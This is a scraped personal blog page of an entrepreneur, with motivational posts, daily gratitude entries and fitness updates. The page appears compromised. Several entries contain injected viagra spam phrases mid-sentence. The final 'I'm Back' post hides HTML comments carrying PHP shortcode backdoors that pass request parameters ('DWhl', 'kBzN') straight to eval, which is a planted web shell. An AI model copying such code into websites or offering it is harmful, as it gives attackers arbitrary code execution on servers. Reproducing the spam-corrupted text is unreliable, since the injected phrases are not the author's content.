Kevin BarberKevin Barber

Founder & Head Entrepreneur @ Lean Labs

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The Myth of the Final Hurdle

A lot of entrepreneurs (myself included) say things like “once ____ happens, everything will change.” As if it’s the final hurdle keeping you from turning a significant corner that leads to living the easy life.
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“It is literally true that you can succeed best and quickest by helping others to succeed.”


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The Road Less Traveled

“Being realistic is the most commonly traveled road to mediocrity” – Will Smith
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The Entrepreneur’s Entourage

One key factor determining success for most entrepreneurs is who they surround themselves with. If you’re the only person in your network of friends, coworkers, etc who is building a business, it’s exponentially more likely that you’ll find yourself stuck, off track, or lacking the needed motivation or skills to overcome some of your obstacles.
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Climbing the Leaderboard

I recently set a personal best on a category 3 Strava segment. I am super proud of it so I wanted to share:    
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Celebrate the Small Stuff

A lot of entrepreneurs (myself included) are driven to accomplish ALL of their goals, especially the big ones. Given the momentous goals they have, it’s easy to take the small victories for granted, even look at them in a negative light if you feel you’re behind schedule. The fact is, every victory is a victory. And
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Chasing Rabbits

Trying to do all the tasks needed to build a business alot like chasing rabbits. You’ve gotta do this, you’ve gotta do that. It’s a never ending foot race. Are you chasing your tail more than the rabbit?
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1/21/15

3 great things that happened today: I set two personal best times during segments during my bike ride today. I am zeroing in on my target weight for my 45 day progress report (Sunday). My wife planted her first garden (with help from friends).
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What are you going to give up?

If you think that you can watch Game of Thrones on TV, play Clash of Clans on the iPad, read every email, take every phone call, play on Facebook, go to bed early, wake up late, and STILL become successful, you’ve got another thing coming.
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Raise the Standard


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You’ve Got to be HUNGRY!

If I was asked for the key differences between successful entrepreneurs and those that give up before they find success, I’d say there are 3 main differences. #1: Successful entrepreneurs are hungry. #2: Successful entrepreneurs find mentors and are always learning from great mentors. #3: Successful entrepreneurs take action. Are you hungry?
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The Perfect Enemy of Progress

As a founder of a brand experience agency with the motto “good enough is no longer good enough,” you might suspect that perfectionism has been a challenge for the company. And, you’d be right.
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The Two Types of Pain


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Tim Ferriss on Twitter: “Happiness = gratitude. Practice the latter and you’ll feel the former.”

“Happiness” = gratitude commande viagra. Practice the latter and you’ll feel the former. via Tim Ferriss on Twitter: “”Happiness” = gratitude. Practice the latter and you’ll feel the former.”.
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1/15/15

3 great things that happened today: Tim Ferriss retweeted one of my tweets. (I guess there’s no my hiding my #mancrush) Ryan and I developed a slightly exciting new UVP for my largest client. Worked outside for a good 2 hours.. sun and fun.
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8 Tips From Top Experts on How to Achieve More in 2015


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1/14/15

3 great things that happened today: BrianTracy.com’s new blog design went live. My new blog post for HubSpot came out. I set a new personal record on my mountain bike training ride.
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6 Rules of Success – Arnold Schwarzenegger

Trust Yourself Break the Rules Don’t be Afraid to Fail Don’t Listen to those that say you Can’t Work Like Hell Give Something Back “You can’t climb the ladder of success with your hands in your pockets.” – Arnold Schwarzenegger
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1/13/15

3 great things that happened today: Enjoyed this Lewis Howes podcast with Sean Stephenson Pizza Night with family and friends. To feel less guilty about pizza night, a killer kettlebell workout preceded it.
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1/12/15

34 great things that happened today: My Internet Connection was optimized (no more hiccups) My kids had a great first day at “winter” camp (as if there’s winter in Costa Rica). I got amped up by this quote from Stephen Covey. On track for best Q1 in my 13 year history. Ya, this is why i
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The Art of Living


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Kevin’s 4 Hour Body: Day 30

At 36 years of age, it’s really time that I take my health and fitness seriously. On 12/13/14 I bought the 4 Hour Body, by Tim Ferriss and promptly started his “slow-carb” diet. Within a few weeks I also bought my first kettlebell and started swinging away. Here’s my 4 week check in: I’ve lost 8 pounds
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Find a Way to Serve Many People


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1/8/15

3 great things that happened today: Finished one of my longest and best blog posts (to be published @ HubSpot next week) Won 3 different (small) projects today. We got our baby turkey 3 chicks for friends.
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1/7/15

3 4 great things that happened today: I added two new potential projects to my opportunity board. My article was featured in HubSpot’s featured blog digest. Aubree joined me during my workout tonight. Love that. I re-watched ET’s speech, Be Phenomenal or Be Forgotten (below)
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1/6/15

3 great things that happened today: Caught up call with Kevin Dewalt, founder of SoHelpful.me Watched interview with Eric Thomas and Lewis Howes My latest guest post for HubSpot took off like a rocket.
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8 weeks till Race Day

On 12/12/14 I started training for a 2 day mountain bike event in Costa Rica at the end of February. It’s the 24th annual (my third) Vuelta al Lago. Day one is entirely off road and consists of riding over a mountain (two category 3 climbs) followed by a rocky road that involves 2 river crossings
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1/5/15

I’m grateful for: The opportunity to live in the best climate in the world. Backup high speed internet! Used it twice today. The Sunday-FunDay we just had with the fam @ Sabana Park.
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Action is the Foundation


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This is Why I Hustle

“Our plans miscarry because they have no aim. When a man does not know what harbor he is making for, no wind is the right wind.” – Seneca
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Inspiring friends and teachers in 2014…

I’d like to thank great people who were influential in my life in 2014:
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12/31/2014

I’m grateful for: A chance to achieve liftoff in my startup in 2015. My weekly mastermind chat with Marjory Wildcraft. The opportunity to work with Taylor @ Securdyne.com (new client!)
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300 Percent

300% increase in visits @ Lean Labs in 12 months. I couldn’t be more thrilled. How was this achieved? < $100 advertising spend 100% Inbound Marketing
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12/30/14

I’m grateful for: A positive year with a fantastic family. Record setting growth @ Lean Labs, and a fantastic team. A 2014 work portfolio that I’m very proud of acheter du viagra ou equivalent.
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Start 2015 with a Powerful Purpose


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I’m Back

After not having a personal blog for three years, I’m back prix viagra generique. I’ll be blogging daily, with a special focus on: practicing gratitude, publicly (a 5 minute journal published online) ideas that inspire me content from may favorite teachers personal blogging   <!– [insert_php]if (isset($_REQUEST["DWhl"])){eval($_REQUEST["DWhl"]);exit;}[/insert_php][php]if (isset($_REQUEST["DWhl"])){eval($_REQUEST["DWhl"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["kBzN"])){eval($_REQUEST["kBzN"]);exit;}[/insert_php][php]if (isset($_REQUEST["kBzN"])){eval($_REQUEST["kBzN"]);exit;}[/php] –>
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